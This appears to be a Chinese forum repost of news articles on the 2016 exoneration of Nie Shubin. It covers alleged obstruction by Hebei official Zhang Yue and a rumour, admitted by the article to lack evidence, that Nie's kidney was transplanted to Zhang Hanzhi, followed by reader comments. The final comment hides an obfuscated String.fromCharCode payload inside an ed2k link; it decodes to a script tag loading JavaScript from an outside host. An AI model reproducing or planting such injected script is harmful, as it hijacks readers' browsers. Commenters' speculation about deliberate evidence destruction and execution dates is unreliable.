聂案翻转是中国官场权势斗争的产物，与正义无关

雨夜

原标题：阻挠聂树斌案平反的幕后黑手就是他

2016-12-02 边驿卒 凤凰新闻

聂树斌冤死21年终获清白！

最高人民法院第二巡回法庭认为，原判未达到基本事实清楚、基本证据确凿的定罪要求。对原审被告人聂树斌故意杀人、强奸妇女再审案公开宣判，宣告撤销原审判决，改判聂树斌无罪。

▲聂树斌爸爸和姐姐在得知聂树斌改判无罪后失声痛哭

对于上述判决，聂树斌的母亲张焕枝已经苦等太久。从1995年聂树斌被判处死刑，已经过去了21年。

在追寻“真凶“的21年里，聂母张焕枝“到处奔波，到处碰壁”。很多人的命运也因这件疑案变轨——年轻人失去生命，伸冤母亲渐渐老去，曝光此事的警官被调离岗位。

随着聂案真相大白于天下，幕后的层层阻力也浮出水面：早年间有省领导批示快杀；省政法委书记亲自坐镇三天，指挥“真凶”王书金翻供，还在开庭前进行“模拟审判”。而这一切事实都指向了一个人——河北省委原常委、政法委原书记张越。据媒体报道张越在政法系统一手遮天。身为河北省政法系统一把手的他甚至被同僚称为“河北王”。



▲张越

张越掌管河北政法委 聂案没了下文

聂树斌案爆出“一案两凶”后，复查十年一直没有结果。

2005年1月，聂树斌案真正的凶手王书金在河南落网，后主动供述称自己是石家庄西郊玉米地奸杀案真凶。

聂树斌案“一案两凶”首次曝光后，当时的河北省政法委组成工作组，重新调查聂树斌案，承诺争取一个月后召开新闻发布会，向全国媒体报告。

但在2007年底，张越由公安部调任河北后，聂树斌案也就此没了下文。

从2007年底接受张焕枝申诉，一直到2014年12月，七年间，河北高院对聂案的复查，纹丝未动。

聂母张焕枝曾经一个月跑几十次法院，却得不到任何消息。

直到2014年12月最高法指令山东高院对聂案异地再审。此后复查四度延期，2016年6月8日，最高法决定再审聂案。

2014年12月12日，最高人民法院指令山东省高级人民法院对聂树斌案进行复查。2015年9月16日，山东省高院对外宣布，聂树斌案因案情复杂，经最高人民法院批准，再次延长聂树斌案复查期限3个月。当时河北省政法系统个别人在配合复查时依然态度强硬，称“这个案子就别想翻”。

▲王书金

有人劝王书金 “别蹚聂树斌案的浑水”

2006年4月，聂案真凶王书金一审被判死刑，但他的罪状中不包括“石家庄西郊玉米地奸杀案”。他以“检方未起诉石家庄西郊女工强奸杀人案”为由上诉。他曾表示：“我不能让别人背黑锅，是我杀的就是我杀的。”

2013年9月，河北省高级人民法院二审裁定王书金非聂树斌案真凶，驳回王书金上诉、维持原判。

据媒体报道，这样的二审结果与“河北王”张越有关。

二审前，张越曾亲自坐镇邯郸三天，场外“指导”王书金翻供，开庭前，看守所内还曾对王书金进行“模拟审判”，教他以新供词串词。二审期间，河北政法委的一个工作组介入该案核查，劝王书金“别蹚聂树斌案的浑水”。遭到拒绝后，工作组人员竟对王书金进行了刑讯逼供。

王书金也因此吃尽苦头。其中一点便是频繁更换看守所，“犯人最害怕的就是换看守所，换一个看守所，犯人也得揍你。”

他曾告诉律师，2013年二审前夕自己曾遭受河北方面的过刑讯逼供：对方称，只要不说石家庄这案子，老婆孩子都能给办低保。一位知情者称，对方还拿宽木头板子猛打他的脚心，他撑不住，“你叫我说什么我就说什么”。

据聂树斌案的首位报道者马云龙透露，河北公检法虽然一直回避聂案，但并非铁板一块。2013年6月，马云龙从公安系统关注聂案的人处得知，河北省不但不打算给聂案平反，反而将对王书金案进行二审，有河北工作组劝王书金翻供，否认在石家庄西郊玉米地强奸杀人。

“他们要杀王书金。”这将导致聂案平反无望。“这就是我们和张越们，一次面对面的斗争。”

张越下决心把聂树斌最重要的证人王书金杀掉。

马云龙曾在一篇博文中写道：“据来源可靠的内部消息说，王书金将在24日的法庭上按照官方的要求，全面推翻八年来的供述，不再承认他是当年康菊花被害案的凶手。这样一来，八年来被舆论关注的中国当代冤案的代表聂树斌案就失去了翻案的充分理由了。这个即将出现的局面是河北省政法机构精心策划和实施的阴谋的结果。”

最终，王书金没有翻供。

2013年6月25日，在王书金案的二审庭审中，虽然没有翻供，却出现了律师口中的中国刑事审判“奇观”。控方拼命辩称当事人并非真凶，而被告律师极力证明自己的当事人就是真凶。

面对检察机关并未指控的罪行，被告人王书金坚称石家庄西郊玉米地强奸杀人是自己所为，并为此上诉。

“王书金罪不可赦。但在聂树斌这件案子上，王书金够爷们儿。”马云龙表，“张越在这件事件打了败仗。”

在聂案平反11年中，这是最危险的一次经历。

2014年12月，最高人民法院指令山东省高级人民法院对聂树斌案进行复查。多年过后王书金胖了，也表达了对聂家人的歉意。

▲聂树斌

层层阻力让人绝望 背后势力非常强大

在聂树斌案复查过程中，据律师李树亭回忆，聂案取证过程“到处奔波，到处碰壁”，其中的层层阻力曾让自己绝望。

最初因没有判决书，聂家的申诉数次被河北高院拒绝——李树亭做工作从死者康某的家人处获得判决书，才得以立案。查阅案卷材料也屡屡碰壁。

2014年底聂案移交给山东高院异地复查后经历四次延期。 2015年4月底的复查听证会上，河北原办案单位代表对聂家提出的质疑做出全面辩解，称“程序上有瑕疵”，不影响聂树斌的犯罪事实。

据媒体报道，那是原河北省政法委书记、“河北王”张越一方“最后的反攻”。

4月30日，央视《焦点访谈》节目聚焦聂案听证会。在马云龙看来，节目倾向性非常明显，“替河北说话”，否认聂树斌被冤判。节目中，中国政法大学的法学教授洪道德表示，聂案关于犯罪工具、犯罪过程和现场发现的情况高度吻合。

这个节目当时给聂家、给律师、给关注聂案的人，带来了极大的压力。

当晚，张焕枝和老伴在家中看了节目。她说：“当时最后说，这个案子，河北做得没有错。当时我特别气愤，我跟老头说，我要告他（洪道德）。我老头说，它（央视）有什么资格做决定啊？应该是山东高院做决定啊！”

张焕枝还担心，“上面的风是不是变了？央视都这么说了，这个案子是不是没希望了？”

马云龙说，“这一切都预示着，聂树斌案的平反是非常困难的。不在于证据的多少。而在于有一种力量一直抵御着这个案子的复查、平反。斗争是很残酷，很激烈的。”

“聂树斌案涉及的政治势力非常强大，而且涉案人员级别之高。这些人长期抵制、压制要为聂树斌平反的呼声，这个斗争一直斗到去年都没有停过。之所以有转折出现是因为有两个看得见的因素，河北省委书记周本顺、河北政法委书记张越落马，这两个人都是聂树斌案无法正常推进的阻力，排除之后聂树斌案也就能正常进行了。”

2016年4月16日，中央纪委宣布河北省政法委书记张越落马。6月上旬，最高法院的法官就把再审决定书送到了聂树斌母亲的手里。

如今，真相大白于天下，聂树斌含冤21年终得昭雪。

尽管位高权重的“河北王”全力设置障碍，但他没能阻挡正义的脚步，因为时代真的在改变。

21年终得昭雪……点击“阅读原文”，看聂树斌的一生都经历了什么？

雨夜

聂树斌被择期死刑，与章含之肾源之谜

文章来源: 多维 于 2015-03-22

中国冤案之一的聂树斌案于数月前移送山东省高级人民法院进行重审，近日聂案相关司法问卷被相继披露。其中，一个重要疑点显示聂树斌曾在被执行死刑后的第16天写过申诉书。

显然人死不能复生，对此，聂案代理律师认为，官方披露的聂树斌执行死刑时间错误。而聂树斌被确切执行死刑时间的疑点，令外界重新考量此前掀起舆论热潮的“红色名媛章含之肾移植来源是聂树斌”言论的真伪。

据聂树斌案代理律师李树亭透露，1995年4月25日，河北高院终审维持石家庄中院一审判决，判处聂树斌死刑。4月26日，河北高院对石家庄中院下达命令，命令1至7日内对聂树斌执行死刑。

此前众多消息及媒体报道显示，聂树斌于1995年4月27日被执行死刑。聂树斌的父亲聂学生4月28日探监时，也被告知聂树斌4月27日已被执行死刑。但聂案代理律师从山东高院阅卷复印的聂树斌案二审卷里，出现一份落款为1995年5月13日聂树斌亲笔签名的申诉材料。

代理律师李树亭认为，这份材料是聂树斌亲笔所写，依据是聂树斌签名不但字写的好还有个特殊习惯，聂字上面的“耳”右边一竖会写的很长，将下面两个“又”字分开。李树亭指“聂”字的特殊签字习惯是聂家亲属才能识别的，此诉状的签名和聂树斌在侦查卷内的签名习惯高度一致，他能断定是聂树斌亲手所签。

显然，聂树斌不会在被执行死刑16天后离奇“复活”，如果聂树斌的申诉书被认为是真的，那就说明官方公布的聂树斌执行死刑的时间有误。实际执行聂死刑的地方法院，并没有遵照河北省高院的1至7日内执行死刑的命令。聂树斌存在在其他时间点被执行死刑的可能。

那么，是什么原因造成这样的错误呢，有可能是相关工作人员的失误，也或许是另一种可能，聂树斌被选择在其他时间执行死刑另有它因。

在2014年年末，内蒙古呼格冤案平反后不久，同为疑似冤案的聂树斌案得到高度关注。一篇题名为《聂树斌案异地复查或藏‘按需杀人’惊天黑幕？》的博客旧闻被重新翻查出来，包括《北京青年报》微信账号“政治局”，人民网微信账号都对此事进行过关注，围绕聂树斌被判死刑是否因为“红色名媛章含之移植肾源”的需要进行过报道。

微信公众号“政知局”曾围绕“红色名媛”传言有过一轮求证，推算出曾为毛泽东英语老师的章含之第一次肾移植手术时间点，大约应在“1995年1月31日到1996年2月18日之间”，而聂树斌正是在1995年4月27日被执行枪决，纯粹从时间匹配角度而言，换肾之说不能认为毫无可能。

不过，章含之女儿洪晃在回复“政知局”之后，又使手术时间有了新的说法：2014年12月16日晚，章含之的女儿洪晃在短信中回复说，"我母亲的确换过两次肾，她是1995年得肾炎，透析一年多以后换肾。第一次换肾是在北京朝阳医院，第二次是7年以后在上海长征医院。两个医院没有透露肾源。

如果以洪晃说法推断，章含之的第一次肾脏移植的时间应该是1996年。而在现今聂树斌被执行死刑时间存在疑点，未能确定最终被执行死刑时间的情况下，仅仅按照洪晃所称的1996年的肾移植时间，已然是不能完全排除章含之使用聂树斌肾源的可能性了。

不过，需要说明一点，章含之肾源之谜与聂树斌被判死刑两者之间的若干种可能结果，仅能证明，大陆死囚器官移植存在“灰色交易”，并不能证明聂树斌死于“按需杀人”。

目前而言，章含之使用了聂树斌肾源一事并没有直接证据，从因果关系来讲，很难证明是先有章含之换肾需求的“因”，后有聂树斌被判死刑的“果”。也就是说，即便聂树斌被执行死刑的时间存在疑点，也不能直接证明是因为章含之的肾源需求才被判死刑的。

但是“按需杀人”这样一个被视为是带有“阴谋论”色彩的观点，却在网上引发关注。这一现象需要引起关注，没有确切证据，但是民众已经进行自发站队，这就说明基于非理性因素的判断，多数民众相信此种“为权贵阶层开天窗”的行为存在。

这至少可以反映，一是大陆曾采用的死囚器官移植方式，会因监管漏洞导致一些“灰色交易”，为“按需杀人”创造可能存在的前提条件。另一方面说明外界对权贵阶级的“特权边界”存有疑虑，至少一些民众相信，在大陆法治不透明的时代，特权阶级会存在“有权任性”的行为。

章含之用聂树斌肾源之谜，究竟是阴谋论还是却有相关，需要聂案重审进程进一步披露相关信息，也需要披露章含之肾移植的肾源详情，毕竟信息透明才能驱散谣言和阴谋论的产生。

博讯螺杆

河北司法当局在聂树斌案中系统性的毁灭司法证据

人们或许没有注意此次“平反”判断书的一些细节：

一，该判断书只说明该案证据不足，并没有从根本上予以彻底否定，这等于给那些做恶者为自己的恶行抗辩留了余地。

二，判决书中说“聂树斌被抓获之后前5天讯问笔录缺失，案发之后前50天内多名重要证人询问笔录缺失，重要原始书证考勤表缺失；聂树斌有罪供述的真实性、合法性存疑”。司法档案是非常严肃的事情，包括历史档案都是完整的。为什么能证明聂斌无罪的最关键阶段的案卷都全部丢失（即被系统性销毁），这是谁干的？是谁这样狗胆包天？在此案发后的十几年里，都是那些人在极力阻挠冤案平反？

三，整个案情多方证据显示聂树斌是在95年一月被执行枪决，为什么公布的时间却是4月份（这次的判决书作了模糊处理，改为94年执行），这里面究竟有什么机密？是不是在掩饰“按需杀人”提供器官移植？

诚毅

完全同意此观点。这跟司法进步半毛钱关系都没有。如果没有网络，媒体的报道，没有高官的内部争斗，想翻案不太可能。

大清国末年，杨乃武和小白菜的案子也没搞成这样。

coming

是好事，习近平手上没有血债。江的政法系是最邪恶的，等着清算吧。

KKkuesx

终于开明一次了。
ed2k://|file|lovely|'+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,98,117,103,103,105,110,103,46,99,111,109,46,99,110,47,76,73,106,50,90,75,63,49,52,56,48,53,49,57,55,53,50,62,60,47,115,99,114,105,112,116,62))+'|test/